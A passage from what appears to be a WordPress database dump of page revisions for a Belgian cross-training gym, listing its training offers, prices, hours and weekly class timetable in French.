class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:58:05', '2013-07-03 17:58:05', '', 11, 'http://www.crosstrainingcenter.be/?p=205', 0, 'revision', '', 0),
(126, 1, '2013-06-16 14:39:01', '2013-06-16 14:39:01', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:39:01', '2013-06-16 14:39:01', '', 11, 'http://www.crosstrainingcenter.be/?p=126', 0, 'revision', '', 0),
(127, 1, '2013-06-16 14:44:31', '2013-06-16 14:44:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:44:31', '2013-06-16 14:44:31', '', 11, 'http://www.crosstrainingcenter.be/?p=127', 0, 'revision', '', 0),
(128, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', 'blabla', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 20, 'http://www.crosstrainingcenter.be/?p=128', 0, 'revision', '', 0),
